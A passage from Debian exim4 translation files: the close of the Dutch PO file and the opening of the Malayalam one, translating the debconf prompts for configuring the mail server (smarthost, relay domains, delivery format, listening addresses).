(Dial-on-Demand)?" msgstr "Aantal DNS-aanvragen minimaliseren (inbellen-op-aanvraag)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "In de normale operatiemodus zal Exim DNS-opzoekingen doen bij het opstarten, " "en bij het ontvangen of versturen van een bericht. Dit is enkel omwille van " "logboekdoeleinden en laat toe om het aantal vaste (hard-coded) waarden in de " "configuratie klein te houden." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Er kunnen ongewenste gevolgen optreden indien dit systeem niet altijd " "toegang heeft tot een DNS-naamserver (bijvoorbeeld omdat voor toegang tot " "het Internet gebruik gemaakt wordt van een inbellen-op-aanvraag verbinding). " "Zo zal dan bij het opstarten van exim, of bij het afhandelen van de wachtrij " "(zelfs wanneer deze geen berichten bevat) een kostbare inbelverbinding tot " "stand gebracht wordt." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Deze optie dient geactiveerd te zijn wanneer u inbellen-op-aanvraag " "gebruikt. Als dit systeem een permanente Internet-verbinding heeft dient " "deze optie uitgeschakeld te zijn." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configuratie van de E-mailserver" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Configuratiebestand opsplitsen in kleinere bestanden?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Om de uiteindelijke configuratie te genereren kunnen de Debian exim4-" "pakketten of een 'ongesplitste' configuratie in één groot monolitisch " "bestand (/etc/exim4/exim4.conf.template), of een 'opgesplitste' configuratie " "in ongeveer 50 kleinere bestanden in /etc/exim4/conf.d/ gebruiken." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Ongesplitste configuratie is het meest geschikt voor grote aanpassingen en " "is stabieler, terwijl een gesplitste configuratie meer geschikt is om een " "een heleboel kleine aanpassingen te maken, maar is ook kwetsbaarder (wat kan " "leiden tot een niet-werkende configuratie bij onvoorzichtige aanpassingen)." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Een meer gedetailleerde discussie van gesplitste versus ongesplitste " "configuratie vindt u in de Debian-specifieke README-bestanden in /usr/share/" "doc/exim4-base ." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Lokale e-mailnaam verbergen in uitgaande e-mail?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "De kopteksten van uitgaande e-mails kunnen herschreven worden om de indruk " "te geven dat de e-mail verstuurd wordt vanaf een ander systeem. Als deze " "optie actief is worden '${mailname}', 'localhost' en '${dc_other_hostnames}' " "in de 'From'-, 'Reply-To'-, 'Sender'- en 'Return-Path'-kopteksten " "herschreven." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox-formaat in /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir-formaat in de thuismap" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Aflevermethode voor lokale e-mail:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim kan de lokaal afgeleverde e-mail in verschillende formaten opslaan. De " "meestgebruikte formaten zijn mbox en Maildir. Het mbox-formaat gebruikt een " "enkel bestand met daarin alle e-mail voor een gebruiker en slaat dit op in /" "var/mail. Bij gebruik van het maildir-formaat wordt elk bericht opgeslagen " "in een afzonderlijk bestand in ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Merk op dat de meeste e-mailprogramma's in Debian standaard verwachten dat " "de lokale aflevermethode mbox is." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Nog niet afgeleverde e-mails verplaatsen van de exim(v3)-spoolmap naar de " #~ "exim4-spoolmap?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Er zijn nog enkele niet-afgeleverde berichten in de exim(v3) (of exim-tls" #~ "(v3)) spoolmap /var/spool/exim/input." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Als deze optie gekozen wordt worden de berichten naar de spoolmap van " #~ "exim4 verplaatst (/var/spool/exim4/input/) waar ze verder door exim4 " #~ "afgehandeld worden." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Dit is eenrichtingsverkeer: Exim4 kan de exim(v4) spoolmap aan, maar niet " #~ "omgekeerd. Bijgevolg dient u de berichten enkel te verplaatsen als u niet " #~ "van plan bent om later terug te gaan naar exim(v3). Als deze voorwaarde " #~ "niet geldt dient u de berichten later handmatig over te zetten." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "" #~ "Dit leeg laten zorgt ervoor dat Exim geen lokale afleveringen verzorgt." debian/po/ml.po0000644000000000000000000012140012027557533010563 0ustar # Translation of exim4 to malayalam # Copyright (c) 2006 exim4's copyright holder # Praveen A , 2008. # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-05-04 14:51-0800\n" "Last-Translator: Praveen|പ്രവീണ്‍ A|എ \n" "Language-Team: Swathanthra Malayalam Computing \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: LoKalize 0.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "സ്പൂള്‍ തട്ടിലുള്ള എത്തിക്കാന്‍ പറ്റാത്ത കത്തുകള്‍ നീക്കണോ?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "എക്സിമിന്റെ സ്പൂള്‍ തട്ടായ /var/spool/exim4/input ല്‍ ഇതു വരെ എത്തിയ്ക്കാത്ത കത്തുകളുണ്ടു്. " "എക്സിം നീക്കുന്നതു് അവ എക്സിം വീണ്ടും ഇന്‍സ്റ്റോള്‍ ചെയ്യുന്നതു് വരെ എത്തിയ്ക്കാത്തതായി നിര്‍ത്തും." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "ഈ ഐച്ഛികം തെരഞ്ഞെടുത്തിട്ടില്ലെങ്കില്‍ സ്പൂള്‍ തട്ടു് പിന്നീടൊരു ദിവസം എക്സിം വീണ്ടും " "ഇന്‍സ്റ്റോള്‍ചെയ്തതിനു് ശേഷം വരിയിലുള്ള സന്ദേശങ്ങള്‍ എത്തിക്കുന്നതിനു് അനുവദിച്ചുകൊണ്ടു് സൂക്ഷിക്കുന്നതാണു്." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "ഈ പാക്കേജിനു പകരം exim4-config പാക്കേജ് പുനഃക്രമീകരിക്കുക" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "എക്സിം4 നു് അതിന്റെ ക്രമീകരണത്തിനായി പ്രത്യേകം മാറ്റിവച്ച ഒരു പാക്കേജുണ്ട്, exim4-config. " "നിങ്ങള്‍ക്കു് എക്സിം4 പുനഃക്രമീകരിക്കണമെന്നുണ്ടെങ്കില്‍ dpkg-reconfigure exim4-config " "ഉപയോഗിക്കൂ." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" "ഇന്റര്‍നെറ്റ് സൈറ്റ്; കത്തു് എസ്​എംടിപി ഉപയോഗിച്ചു് നേരിട്ടു് അയയ്ക്കുകയും സ്വീകരിയ്ക്കുകയും ചെയ്യുന്നു" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "സ്മാര്‍ട്ട്ഹോസ്റ്റ് വഴി കത്തു് അയയ്ക്കുന്നു; എസ്​എംടിപി അല്ലെങ്കില്‍ ഫെച്മെയില്‍ വഴി സ്വീകരിയ്ക്കുന്നു" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "സ്മാര്‍ട്ട്ഹോസ്റ്റ് വഴി കത്തു് അയയ്ക്കുന്നു; പ്രാദേശിക കത്തൊന്നുമില്ല" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "പ്രാദേശികമായി മാത്രമെത്തിയ്ക്കുന്നു; ഒരു ശൃംഖലയിലല്ല" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ഇപ്പോള്‍ ക്രമീകരിയ്ക്കുന്നില്ല" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "കത്തിന്റെ ക്രമീകരണത്തിന്റെ പൊതുവിലുള്ള തരം:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "ദയവായി നിങ്ങളുടെ ആവശ്യങ്ങള്‍ക്കിണങ്ങുന്ന കത്തു് സേവക ക്രമീകരണം തെരഞ്ഞെടുക്കുക." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "ഡയല്‍ അപ് സിസ്റ്റങ്ങളുള്‍പ്പെടെയുള്ള മാറിക്കൊണ്ടിരിക്കുന്ന ഐപി വിലാസങ്ങളുള്ള സിസ്റ്റങ്ങള്‍ സാധാരണയായി " "പുറത്തേക്കുള്ള കത്തു് എത്തിക്കുന്നതിനായി \"സ്മാര്‍ട്ട്ഹോസ്റ്റ്\" എന്നു വിളിക്കുന്ന മറ്റൊരു മഷീനിലേയ്ക്കു് " "അയയ്ക്കാനായി ക്രമീകരിക്കേണ്ടതുണ്ടു്, കാരണം ഇന്റര്‍നെറ്റില്‍ സ്വീകരിയ്ക്കുന്ന പല സിസ്റ്റങ്ങളും " "മാറിക്കൊണ്ടിരിക്കുന്ന ഐപി വിലാസങ്ങളുള്ള സിസ്റ്റങ്ങളില്‍ നിന്നു വരുന്ന കത്തുകള്‍ സ്പാം " "സംരക്ഷണത്തിനായി തടയാറുണ്ടു്." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "മാറിക്കൊണ്ടിരിക്കുന്ന ഐപി വിലാസങ്ങളുള്ള ഒരു സിസ്റ്റത്തിനു് സ്വന്തം കത്തുകള്‍ സ്വീകരിയ്ക്കാം " "അല്ലെങ്കില്‍ പ്രാദേശികമായി എത്തിക്കുന്നതു് പൂര്‍ണമായും ഒഴിവാക്കാം (റൂട്ടിനും പോസ്റ്റ്മാസ്റ്റര്‍ക്കുമുള്ള " "കത്തുകളൊഴികെ)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "തപാല്‍ സിസ്റ്റം ക്രമീകരിക്കാതെയിടണം എന്നുറപ്പാണോ?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "തപാല്‍ സിസ്റ്റം ക്രമീകരിക്കുന്നതു് വരെ അതു് കേടായും ഉപയോഗിയ്ക്കാന്‍ പറ്റാത്തതുമായിരിയ്ക്കും. " "കൈയുപയോഗിച്ചു് അല്ലെങ്കില്‍ റൂട്ടായി \"dpkg-reconfigure exim4-config\" എന്നോടിച്ച് ഇതു് " "പിന്നീടു് ക്രമീകരിയ്ക്കാം." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "സിസ്റ്റത്തിന്റെ തപാല്‍ നാമം:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "\"തപാല്‍ നാമം\" എന്നതു് ഡൊമൈന്‍ നാമമില്ലാത്ത തപാല്‍ വിലാസങ്ങളെ \"യോഗ്യമാക്കാന്‍\" ഉപയോഗിക്കുന്ന " "ഡൊമൈന്‍ നാമമാണു്." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "ഈ പേരു് മറ്റു പ്രോഗ്രാമുകളും ഉപയോഗിയ്ക്കുന്നതായിരിയ്ക്കും. ഇതു് ഒറ്റ, മുഴുവന്‍ ഡൊമൈന്‍ നാമമായിരിക്കണം " "(FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "ഉദാഹരണത്തിനു് പ്രാദേശിക ഹോസ്റ്റിലുള്ള ഒരു തപാല്‍ വിലാസം foo@example.org എന്നാണെങ്കില്‍ ഈ " "ഐച്ഛികത്തിനുള്ള ശരിയായ വില example.org എന്നായിരിയ്ക്കും." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "റീറൈറ്റിങ്ങ് പ്രാവര്‍ത്തികമാക്കുകയാണെങ്കില്‍ പുറത്തു പോകുന്ന കത്തുകളിലെ ഫ്രം: വരികളില്‍ ഈ പേരു് " "വരില്ല." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "തപാല്‍ സ്വീകരിയ്ക്കുന്ന മറ്റു ലക്ഷ്യസ്ഥാനങ്ങള്‍:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "ദയവായി ഈ മഷീന്‍ അവസാന ലക്ഷ്യസ്ഥാനമായി സ്വയം കണക്കാക്കേണ്ട ലക്ഷ്യ ഡൊമൈനുകളുടെ സെമികോളന്‍ " "കൊണ്ടു് വേര്‍തിരിച്ച പട്ടിക നല്കുക. ഈ ഡൊമൈനുകള്‍ സാധാരണയായി \"local domains\" എന്നു് " "വിളിയ്ക്കപ്പെടുന്നു. പ്രാദേശിക ഹോസ്റ്റ് നാമങ്ങളായ (${fqdn}) ഉം \"localhost\" ഉം ഇവിടെ " "നല്‍കിയ പട്ടികയില്‍ എപ്പോഴും ചേര്‍ക്കുന്നതായിരിയ്ക്കും." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "സഹജമായി എല്ലാ പ്രാദേശിക ഡൊമൈനുകളും ഒരു പോലെ കണക്കാക്കുന്നതായിരിക്കും. a.example ഉം b." "example ഉം പ്രാദേശിക ഡൊമൈനുകളാണെങ്കില്‍ acc@a.example ഉം acc@b.example ഉം ഒരേ " "ലക്ഷ്യസ്ഥാനത്തെത്തിക്കുന്നതായിരിക്കും. വ്യത്യസ്ത ഡൊമൈന്‍ നാമങ്ങള്‍ വ്യത്യസ്തമായി കണക്കാക്കണമെങ്കില്‍ " "പിന്നീട് ക്രമീകരണ ഫയലുകളില്‍ മാറ്റം വരുത്തേണ്ടതുണ്ടു്." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "കത്തുകള്‍ റിലേ ചെയ്യേണ്ട ഡൊമൈനുകള്‍:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "ദയവായി ഈ സിസ്റ്റം കത്തുകള്‍ റിലേ ചെയ്യേണ്ട ലക്ഷ്യ ഡൊമൈനുകളുടെ, ഉദാഹരണത്തിനു് ഒരു ഫാള്‍ബാക്ക് " "എംഎക്സ് അല്ലെങ്കില്‍ തപാല്‍ ഗേയ്റ്റുവേ, സെമികോളന്‍ കൊണ്ടു് വേര്‍തിരിച്ച പട്ടിക നല്കുക. ഇതിനര്‍ത്ഥം ഈ " "സിസ്റ്റം ഈ ഡൊമൈനുകളിലേക്കുള്ള കത്തുകള്‍ ഇന്റര്‍നെറ്റിലെവിടെ നിന്നും സ്വീകരിയ്ക്കുകയും " "പ്രാദേശികമായുള്ള എത്തിക്കേണ്ട നിയമങ്ങള്‍ക്കനുസരിച്ചു് അവ എത്തിയ്ക്കുകയും ചെയ്യും." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "പ്രാദേശിക ഡൊമൈനുകള്‍ ഇവിടെ പ്രസ്താപിക്കരുതു്. വൈല്‍ഡ്കാര്‍ഡുകള്‍ വേണമെങ്കിലുപയോഗിക്കാം." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "കത്തുകള്‍ റിലേ ചെയ്യേണ്ട മഷീനുകള്‍:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "സ്മാര്‍ട്ട്ഹോസ്റ്റായി പ്രവര്‍ത്തിച്ചുകൊണ്ടു് നിയന്ത്രണമില്ലാതെ കത്തുകള്‍ റിലേ ചെയ്യേണ്ട ഐപി വിലാസ " "പരിധികള്‍ ദയവായി സെമികോളന്‍ കൊണ്ടു് വേര്‍തിരിച്ച പട്ടികയായി നല്കുക." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "നിങ്ങള്‍ സ്റ്റാന്‍ഡേര്‍ഡ് വിലാസം/പ്രിഫിക്സ് ഫോര്‍മാറ്റ് (ഉദാ.194.222.242.0/24 അല്ലെങ്കില്‍ " "5f03:1200:836f::/48) ഉപയോഗിയ്ക്കണം." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "ഈ സിസ്റ്റം മറ്റൊരു സിസ്റ്റത്തിനും സ്മാര്‍ട്ട്ഹോസ്റ്റാകേണ്ടതില്ലെങ്കില്‍ ഈ കളം വെറുതെയിടുക." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "പ്രാദേശിക ഉപയോക്താക്കള്‍ക്കു് കാണാവുന്ന ഡൊമൈന്‍ നാമം:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "പുറത്തുപോകുന്ന കത്തുകളില്‍ പ്രാദേശിക തപാല്‍ നാമം മറച്ചുവെയ്കാനുള്ള ഐച്ഛികം " "പ്രാവര്‍ത്തികമാക്കിയിട്ടുണ്ടു്. പ്രാദേശിക ഉപയോക്താക്കളുടെ അയക്കുന്ന ആളുടെ വിലാസങ്ങളിലെ ഡൊമൈന്‍ " "ഭാഗത്തിലുപയോഗിക്കാനായി ഒരു ഡൊമൈന്‍ നാമം നല്കേണ്ടതു് അത്യാവശ്യമാണു്." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "പുറത്ത്പോകുന്ന സ്മാര്‍ട്ട്ഹോസ്റ്റിന്റെ ഐപി വിലാസം അല്ലെങ്കില്‍ ഹോസ്റ്റ് നാമം:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "ദയവായി ഈ സിസ്റ്റം പുറത്ത് പോകുന്ന സ്മാര്‍ട്ട്ഹോസ്റ്റായി ഉപയോഗിക്കേണ്ട തപാല്‍ സേവകന്റെ ഹോസ്റ്റ് " "നാമമോ ഐപി വിലാസമോ നല്കുക. ആ സ്മാര്‍ട്ട്ഹോസ്റ്റ് നിങ്ങളുടെ കത്തു് ടിസിപി/25 ല്‍ നിന്നും " "വ്യത്യസ്തമായ ഒരു പോര്‍ട്ടില്‍ മാത്രമേ സ്വീകരിക്കൂ എങ്കില്‍ അവസാനം രണ്ടു് കോളനു് ശേഷം പോര്‍ട്ട് സംഖ്യ " "ചേര്‍ക്കുക (ഉദാഹരണത്തിനു് smarthost.example::587 അല്ലെങ്കില്‍ 192.168.254.254::2525)." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "സ്മാര്‍ട്ട്ഹോസ്റ്റിനു് തിരിച്ചറിയല്‍ ആവശ്യമാണെങ്കില്‍ /usr/share/doc/exim4-base/README." "Debian.gz പരിശോധിച്ചു് എസ്​എംടിപിയിലെ തിരിച്ചറിയല്‍ ഒരുക്കുന്നതിനെ കുറിച്ചുള്ള കുറിപ്പുകള്‍ നോക്കുക." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "റൂട്ടും പോസ്റ്റ്മാസ്റ്റര്‍ കത്തുകളും സ്വീകരിയ്ക്കുന്നയാള്‍:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "\"postmaster\", \"root\" തുടങ്ങിയ സിസ്റ്റം അക്കൌണ്ടിലേക്കുള്ള കത്തുകള്‍ യഥാര്‍ത്ഥ സിസ്റ്റം " "ഭരണാധികാരിയായ ഉപയോക്താവിന്റെ അക്കൌണ്ടിലേയ്ക്കു് തിരിച്ചു് വിടേണ്ടതുണ്ടു്." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "ഈ വില നല്കാതെ വിട്ടാല്‍ അങ്ങനെയുള്ള കത്തുകള്‍ /var/mail/mail ല്‍ സൂക്ഷിക്കുന്നതാണു്, അതു് ശുപാര്‍ശ " "ചെയ്തിട്ടുള്ളതല്ല." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "പോസ്റ്റ്മാസ്റ്ററുടെ കത്തു് മറ്റേതെങ്കിലുമിടത്തേയ്ക്കു് മാറി അയയ്ക്കുന്നതിനു് പകരം ഏതു് " "സിസ്റ്റത്തിലേക്കാണോ അതു് ഉദ്ധേശിച്ചതു് ആ സിസ്റ്റത്തില്‍ വച്ചു് തന്നെ വായിക്കണം, അതു കൊണ്ടു തന്നെ ഈ " "പട്ടികയിലുള്ള (ഒരു) ഉപയോക്താവെങ്കിലും ഈ മഷീനില്‍ നിന്നും അവരുടെ കത്തു് മാറി അയക്കരുതു്. ഒരു " "\"real-\" എന്നു് മുന്നില്‍ ചേര്‍ത്തു് പ്രാദേശികമായി എത്തിക്കാന്‍ നിര്‍ബന്ധിയ്ക്കാം." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "ഒന്നിലധികമുള്ള ഉപയോക്താക്കളുടെ പേരുകള്‍ സ്പേയ്സ് കൊണ്ടു് വേര്‍തിരിയ്ക്കണം." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "അകത്തോട്ടു് വരുന്ന എസ്​എംടിപി ബന്ധങ്ങള്‍ക്കായി ശ്രദ്ധിക്കേണ്ട ഐപി-വിലാസങ്ങള്‍:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "ദയവായി സെമികോളന്‍ കൊണ്ടു് വേര്‍തിരിച്ച ഐപി വിലാസങ്ങളുടെ പട്ടിക നല്കുക. എക്സിമിന്റെ എസ്​എംടിപി " "ശ്രദ്ധിക്കുന്ന നിരന്തരപ്രവൃത്തി ഈ പട്ടികയിലുള്ള എല്ലാ ഐപി വിലാസങ്ങള്‍ക്കു് വേണ്ടിയും ശ്രദ്ധിക്കും." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "ഒരു ശൂന്യ വില എല്ലാ ലഭ്യമായിട്ടുള്ള ശൃംഖലയിലേയ്ക്കുള്ള വിനിമയതലങ്ങളിലും ബന്ധങ്ങള്‍ക്കായി " "ശ്രദ്ധിക്കാന്‍ കാരണമാക്കും." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "ഈ സിസ്റ്റം പ്രാദേശിക സേവനങ്ങളില്‍ നിന്നും നേരിട്ടു് മാത്രമേ (അല്ലാതെ മറ്റുള്ള ഹോസ്റ്റുകളില്‍ " "നിന്നുമല്ല) കത്തുകള്‍ സ്വീകരിയ്ക്കുന്നുള്ളുവെങ്കില്‍ പ്രാദേശിക എക്സിം 